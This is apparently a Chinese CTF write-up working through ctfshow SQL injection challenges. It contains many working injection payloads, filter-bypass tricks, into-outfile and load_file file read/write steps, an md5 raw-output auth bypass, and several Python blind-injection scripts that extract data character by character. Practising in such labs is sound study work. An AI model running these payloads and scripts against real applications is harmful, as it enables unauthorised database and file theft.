最近发现对sql注入的相关知识点有点生疏和忘记了,做做ctfhshow的sql注入来巩固和学习一些新姿势。
SQL注入总结
直接union注入即可
# 判断列数
' order by 3 --+
# 查数据库名
' union select 1,2,database() --+
# 查表名
' union select 1,2,concat(table_name) from information_schema.tables where table_schema='ctfshow_web' --+
# 查表名2,这样查表名可以省略查数据库名这个步骤
' union select 1,2,concat(table_name) from information_schema.tables where table_schema=database() --+
# 查字段
' union select 1,2,concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+
# 查flag
' union select id,username,password from ctfshow_user where username='flag'--+
关于concat和group_concat的区别
concat输出为多列
这题刚开始还没发现题在哪里
返回结果中的username不允许等于flag,不输出username不就完事了,这里应该过滤ctfshow才有意义
' union select 1,password from ctfshow_user2 where username='flag'--+
这里换成了正则,不允许含有flag关键词,上面那个方法同样可以
使用hex
加密一下输出结果,例如username字段输出有flag,用hex加密一下username即可
' union select id,hex(username),password from ctfshow_user3 where username='flag'--+
或者使用reverse
、to_base64
等函数
' union select id,reverse(username),password from ctfshow_user3 where username='flag'--+
结果不能有flag和数字,使用replace
函数替代数字为其他字符
实例:把’病假’ 替换为 ‘–’:
UPDATE users SET username=REPLACE(username,'病假','--') WHERE username LIKE '%病假%';
那么我们这里替换10次即可,把0-9替换为其他特定字符,像我这种懒狗肯定不可能自己写的,python脚本如下
password = "password"
number = {0: "zero", 1: "one", 2: "two", 3: "three", 4: "four", 5: "five", 6: "six", 7: "seven", 8: "eight", 9: "nine"};
for i in range(0, 10):
password = f"replace({password},'{i}','{number[i]}')"
print(password)
运行脚本得到replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0','zero '),'1','one'),'2','two'),'3','three'),'4','four'),'5','five'),'6','six'),'7','seven'),'8','eight'),'9','nine')
将payload里的password替换为上面的payload,然后将username倒置一下即可
' union select username,password from ctfshow_user4 where username='flag'--+
替换后如下:
' union select reverse(username),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0','zero'),'1','one'),'2','two'),'3','three'),'4','four'),'5','five'),'6','six'),'7','seven'),'8','eight'),'9','nine') from ctfshow_user4 where username='flag'--+
得到flag为
ctfshow{threeatwosevensevenbtwonine-threebninetwo-fourtwofourthree-ninezerofsix-twofivetwoonecdfouretwoseventwofour}
将其替换回去
flag = "ctfshow{threeatwosevensevenbtwonine-threebninetwo-fourtwofourthree-ninezerofsix-twofivetwoonecdfouretwoseventwofour}"
number = {0: "zero", 1: "one", 2: "two", 3: "three", 4: "four", 5: "five", 6: "six", 7: "seven", 8: "eight", 9: "nine"}
for i in range(0, 10):
flag = flag.replace(str(number[i]), str(i))
print(flag)
方法一
使用into outfile
将结果保存到文件中
1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/2.txt'--+
访问2.txt得到flag
方法二,盲注
脚本如下:
import requests
url = "http://6bf4b4cc-bf93-4960-81af-697e62abeaa8.challenge.ctf.show:8080/api/v5.php"
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while tail > head:
mid = (head + tail) // 2 # //向下取整即7.5取7,/为浮点数表示法
payload = "?id=1' and if(ascii(substr((select password from ctfshow_user5 where username='flag'),{0},1))>{1},sleep(2),0) -- -".format(i, mid)
# print(url+payload)
try:
r = requests.get(url+payload, timeout=0.5) # 如果0.5秒内返回结果,目标的ascii值小于等于mid,tail移动至中部,对于响应比较慢的网站,timeout应该设置大一点
tail = mid
except Exception as e: # 0.5秒内未返回结果,目标ascii大于中间值,head移动至中部,因为是大于,所以还要加1
head = mid+1
if head == 32: # 如果这一位为空就会出现结束之后head等于32的情况,break退出
break
result += chr(head) # 这里只能为head或者tail而不能为mid,因为mid可能会少一
print(result)
大小写绕过
' uNion sElect 1,2,password from ctfshow_user where username="flag"--+
或者直接万能密码,flag在最后一行
' or 1=1--+
首先过滤了空格,用/**/
代替
1'--+ 正常
1' --+ 报错
然后发现过滤了+号,–+用#代替
1'and(1-1=0)%23 正常
1'and(1+1=2)%23 报错
payload:
1'union/**/select/**/1,2,password/**/from/**/ctfshow_user/**/where/**/username='flag'%23
而过滤了的话会就算语法不对也会显示无数据
于是用fuzz了一下,发现过滤了这些字符
/**/不能用了,空格用%0d %0a %0c %0b %a0 %09
替代,随便挑一个
构造payload如下
1'union%09select%091,2,password%09from%09ctfshow_user%09where%09username='flag'%23
法一
同样也是过滤了空格,尝试用用%0d %0a %0c %0b %a0 %09
替代,写了个python脚本批量替代
payload = "1'union select 1,2,password from ctfshow_user where username='flag'%23"
for i in ['0a', '0b', '0c', '0d', '09', 'a0']:
res = payload.replace(" ", '%{0}'.format(i))
print(res)
一个一个试
1'union%0aselect%0a1,2,password%0afrom%0actfshow_user%0awhere%0ausername='flag'%23
1'union%0bselect%0b1,2,password%0bfrom%0bctfshow_user%0bwhere%0busername='flag'%23
1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'%23
1'union%0dselect%0d1,2,password%0dfrom%0dctfshow_user%0dwhere%0dusername='flag'%23
1'union%09select%091,2,password%09from%09ctfshow_user%09where%09username='flag'%23
1'union%a0select%a01,2,password%a0from%a0ctfshow_user%a0where%a0username='flag'%23
测试发现第三个%0c
可以
法二,括号代替空格
1'union(select(1),(2),(password)from(ctfshow_user)where(username='flag'))%23
过滤了%23
,--+
也不行加号被过滤,用--%0c-
代替,把上一题payload的%23替代即可
1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'--%0c-
过滤了select和*,正常注入不知道怎么注入,不过可以用万能密码,前面也能通杀,但感觉没意思
payload1,有注释符,flag在最下面
1'or(1=1)--%0c-
payload2,无注释符,单引号闭合
'or(id=26)and'1'='1
一位一位爆破即可
select count(name) from a where substr(name,1,4) like 'flag';
->1
select count(name) from a where substr(name,1,5) like 'flag{';
->1
脚本如下
import requests
import string
url = "http://81d479a6-d9cb-4b25-bc7f-aa6eef1775d6.challenge.ctf.show:8080/select-waf.php"
strings = string.digits+string.ascii_letters+"-{}"
flag = "ctfshow{"
for i in range(9, 100):
for j in strings:
data = {
"tableName": "(ctfshow_user)where(substr(pass,1,{0})like('{1}'))".format(str(i), flag+j)
}
req = requests.post(url=url, data=data)
if "$user_count = 1;" in req.text:
flag += j
print(flag)
if "}" in flag:
exit()
break
这里char函数本地试了一下,直接char数字居然返回的的是16进制数,搜了一下找到解决办法mysql char函数 返回十六进制值问题请教
select ascii('a');
->97
select char(97);
->0x61
select char(97 using ascii);
->a
然后这道题过滤了单引号和双引号,可以用char()
函数或者hex()
来绕过
select count(name) from a where substr(name,1,4) like 'flag';
->1
select count(name) from a where substr(name,1,4) like char(102,108,97,103);
->1
过滤了* 空格 % < > ^ # \x23 数字 file = or | select and flag into where & ' " union ` sleep benchmark
语句为$sql = "select count(*) from ".$_POST['tableName'].";";
,过滤了where union,知道列名,我们可以使用group by ... having
拼接在后面进行注入,也可以使用right join...on
连接来进行注入。
select count(*) from ctfshow_user group by pass having pass like 'ctfshow{%';
select count(*) from ctfshow_user as a right join ctfshow_user as b on pass like 'ctfshow{%';
再来看看过滤,过滤了单引号,我们可以使用chr(97)
的形式来绕过,但是这里还过滤了数字和%
,使用chr(true+true+...)
来绕过。那么我们的payload最后就是
#group by ... having
select count(*) from ctfshow_user group by pass having pass like concat(char(true+true+...),char(true+true+...),...);
# right join...on
select count(*) from ctfshow_user as a right join ctfshow_user as b on b.pass like concat(char(true+true+...),char(true+true+...),...);
最后脚本如下
使用group by ... having
import requests
url = "http://a60b29c2-683d-4a8e-ad47-ac22598f13a1.challenge.ctf.show:8080/select-waf.php"
strs = '{qwertyuiopasdfghjklzxcvbnm-0123456789}'
flag = "ctfshow"
def to_true(num):
if num == 1:
return "true"
else:
return ("true+" * num).strip("+")
def all_true(str):
res = ""
for i in str:
res += "chr(" + to_true(ord(i)) + "),"
return res.strip(",")
# print("select concat("+all_true("c%")+");")
for i in range(100):
for j in strs:
data = {
"tableName": "ctfshow_user group by pass having pass like concat({})".format(all_true(flag + j + "%"))
}
req = requests.post(url=url, data=data)
if "$user_count = 0;" not in req.text:
# print(req.text)
flag += j
break
if j == "}":
exit(0)
print(flag)
使用right join...on
import requests
url = "http://bfaabb04-d998-45f2-96ef-81b5d2635dc9.challenge.ctf.show:8080/select-waf.php"
strs = '{qwertyuiopasdfghjklzxcvbnm-0123456789}'
flag = "ctfshow{"
def to_true(num):
if num == 1:
return "true"
else:
return ("true+" * num).strip("+")
def all_true(str):
res = ""
for i in str:
res += "chr(" + to_true(ord(i)) + "),"
return res.strip(",")
# print("select concat("+all_true("c%")+");")
for i in range(100):
for j in strs:
data = {
"tableName": "ctfshow_user as a right join ctfshow_user as b on b.pass like concat({})".format(all_true(flag + j + "%"))
}
req = requests.post(url=url, data=data)
if "$user_count = 43;" in req.text:
# print(req.text)
flag += j
if j == "}":
exit(0)
print(flag)
考点:md5(‘xxx’,true)的万能密码
原理就是万能密码:
$str = "129581926211651571912466741651878684928";
$str2 = "ffifdyop";
echo md5($str,True);
# �T0D��o#��'or'8
echo md5($str2,True);
# 'or'6�]��!r,��b
payload1:
username=0&password=0
原理:username等于0会把虽有名字开头为英文的用户名都匹配到,password等于0匹配所有以字母为开头的字母。
payload2:
username=1||1&password=0
原理:
这道题说明了参数必须加单引号,不过好像也发现有不加单引号的。
考点:load_file盲注
原理:
select if(load_file('/var/www/html/flag.php')like('flag{%'),1,0);
select if(load_file('/var/www/html/flag.php')regexp('flag{'),1,0);
select if(load_file('/var/www/html/flag.php')rlike('flag{'),1,0);
本地测试读取文件内容。
在这道题里,如果if里的表达式正确则返回0,语句就变为了where name=0
,这时账号正确密码错误,他会返回密码错误的信息,就这样爆出文件内容。
payload:
select pass from ctfshow_user where username=if(load_file('/var/www/html/flag.php')like('ctfshow{%'),0,1)
脚本:
import requests
url = "http://ea894911-f29d-4c92-acce-e52d6e166661.challenge.ctf.show:8080/api/"
strs = '{qwertyuiopasdfghjklzxcvbnm-0123456789}'
flag = "ctfshow{"
for i in range(100):
for j in strs:
data = {
"username": "if(load_file('/var/www/html/api/index.php')regexp('{}'),0,1)".format(flag+j),
"password": 9
}
req = requests.post(url=url, data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in req.text:
flag += j
print(flag)
if j == "}":
exit(1)
测试
admin' and 1=1# //密码错误
admin' and 1=2# //用户名不存在
admin' and if(1=1,1,power(9999,99))# //密码错误
admin' and if(1=2,1,power(9999,99))# //用户名不存在
编写脚本如下
# Author:Herber555
import requests
def main():
url = "http://2c618c38-8b19-4e35-bca4-746bcd0bccd2.challenge.ctf.show:8080/api/"
headers = {
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0",
}
result = ""
for i in range(1, 100):
l = 1
r = 127
mid = (l + r) >> 1
while l < r:
# sql = f"ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid}"
# sql = f"ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))>{mid}"
sql = f"ascii(substr((select f1ag from ctfshow_fl0g),{i},1))>{mid}"
data = {
"username": f"admin' and if({sql},1,power(9999,99))#",
"password": "123"
}
html = requests.post(url=url, data=data, headers=headers)
print(html.text)
if r"\u5bc6\u7801\u9519\u8bef" in html.text:
l = mid + 1
else:
r = mid
mid = (l + r) >> 1
print(mid)
if mid == 127 or mid == 1:
break
result += chr(mid)
print(result)
print("result:" + result)
if __name__ == '__main__':
main()
还是上面那个脚本,过滤了ascii,替换为ord()即可
# Author:Herber555
import requests
import string
def main():
url = "http://e3a1437a-66e5-47c3-ad5c-ad0b26ac6b04.challenge.ctf.show:8080/api/"
headers = {
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0",
}
flagstr = string.digits + string.ascii_lowercase + " {}-_"
result = ""
for i in range(50):
for j in flagstr:
data = {
"username": "admin' and if(substr((select f1ag from ctfshow_fl0g),{0},1)regexp('{1}'),1,2)='1".format(i, j),
"password": "123"
}
html = requests.post(url=url, data=data, headers=headers)
if r"\u5bc6\u7801\u9519\u8bef" in html.text:
result += j
print(result)
if j == "}":
exit(0)
break
print("result:" + result)
if __name__ == '__main__':
main()
继续改上面的脚本过滤了substr使用left替代
# Author:Herber555
import requests
import string
def main():
url = "http://fee0385e-f2c8-4194-80c4-32a0b9877cdd.challenge.ctf.show:8080/api/"
headers = {
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0",
}
flagstr = string.digits + string.ascii_lowercase + " {}-_,"
result = ""
for i in range(1, 50):
for j in flagstr:
data = {
# "username": "admin' and if(left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{0})=('{1}'),1,power(9999,99))#".format(i, result+j),
"username": "admin' and if(left((select f1ag from ctfshow_flxg),{0})=('{1}'),1,power(9999,99))#".format(
i, result + j),
"password": "123"
}
html = requests.post(url=url, data=data, headers=headers)
print(result, html.text, data["username"])
if r"\u5bc6\u7801\u9519\u8bef" in html.text:
result += j
print(result)
if j == "}":
exit(0)
break
print("result:" + result)
if __name__ == '__main__':
main()
过滤了substr、left、right,可以用position(),instr(),locate()
#payload
#position("a" in "abcd")
admin' and if(position('{}' in (select f1ag from ctfshow_flxg))=1,1,power(9999,99))#
# locate("a","abcd")
admin' and if(locate('{}',(select f1ag from ctfshow_flxg))=1,1,power(9999,99))#
# instr("abcd","a")
admin' and if(instr((select f1ag from ctfshow_flxg),'{}')=1,1,power(9999,99))#
# Author:Herber555
import requests
import string
def main():
url = "http://28ab904e-853c-423d-816d-41a07d34f92a.challenge.ctf.show:8080/api/"
headers = {
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0",
}
flagstr = string.digits + string.ascii_lowercase + " {}-_,"
result = ""
for i in range(1, 50):
for j in flagstr:
data = {
# 爆表
# "username": "admin' and if(locate('{}',(select group_concat(table_name) from information_schema.tables where table_schema=database()))=1,1,power(9999,99))#".format(result + j),
# 爆字段
# "username": "admin' and if(locate('{}',(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'))=1,1,power(9999,99))#".format(result + j),
# 爆flag
"username": "admin' and if(locate('{}',(select f1ag from ctfshow_flxg))=1,1,power(9999,99))#".format(result + j),
"password": "123"
}
html = requests.post(url=url, data=data, headers=headers)
print(result, html.text, data["username"])
if r"\u5bc6\u7801\u9519\u8bef" in html.text:
result += j
print(result)
if j == "}":
exit(0)
break
print("result:" + result)
if __name__ == '__main__':
main()
web195